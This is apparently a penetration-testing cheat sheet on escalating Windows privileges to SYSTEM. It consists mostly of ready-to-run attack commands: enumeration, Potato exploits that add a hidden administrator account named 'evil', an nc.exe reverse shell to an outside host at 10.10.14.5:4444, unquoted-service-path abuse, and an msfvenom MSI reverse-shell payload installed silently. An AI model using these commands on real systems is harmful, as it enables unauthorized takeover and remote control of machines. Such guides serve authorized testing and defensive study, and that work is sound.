Security Resources

⌘K
  1. Home
  2. Security Resources
  3. Penetration Testing Trick...
  4. Windows Privilege Escalation Techniques

Windows Privilege Escalation Techniques

Windows Privilege Escalation Master Guide
Comprehensive guide for escalating from standard domain or local user privileges to NT AUTHORITY\SYSTEM via token impersonation, unquoted service paths, Potato exploits, and registry run keys.

1. Host and Privilege Enumeration

# Current user identity and assigned privileges
whoami /priv
whoami /groups

# Operating system info, architecture, and installed hotfixes
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Automated enumeration with WinPEAS
.\winPEASany.exe quiet cmd fast

2. Token Impersonation (SeImpersonatePrivilege)


Service accounts (e.g. IIS, MSSQL) frequently possess SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. Attackers use Potato exploits to intercept SYSTEM authentication tokens via local COM listeners:

# Verify SeImpersonatePrivilege
whoami /priv | findstr "SeImpersonatePrivilege"

# GodPotato execution (works on modern Windows Server 2019 / 2022)
.\GodPotato-NET4.exe -cmd "cmd.exe /c net user evil Password123! /add && net localgroup administrators evil /add"

# SweetPotato / JuicyPotato execution on older targets
.\SweetPotato.exe -e EfsRpc -p "C:\windows\temp\nc.exe" -a "10.10.14.5 4444 -e cmd.exe"

3. Unquoted Service Paths


When Windows starts a service whose binary path contains spaces and is not enclosed in quotation marks (e.g., C:\Program Files\My Service\app.exe), Windows attempts to execute intermediate matches:

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '"'

# If C:\Program Files\Vulnerable Service\service.exe is unquoted and C:\ is writable:
# Windows looks for C:\Program.exe before navigating into the directory
# Drop malicious payload as C:\Program Files\Vulnerable.exe and restart service:
sc stop "Vulnerable Service"
sc start "Vulnerable Service"

4. AlwaysInstallElevated Registry Key

# Check if AlwaysInstallElevated is set to 1 in both HKLM and HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both return 0x1, craft an MSI installer payload executing a reverse shell as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o update.msi

# Execute unprompted elevated install:
msiexec /quiet /qn /i update.msi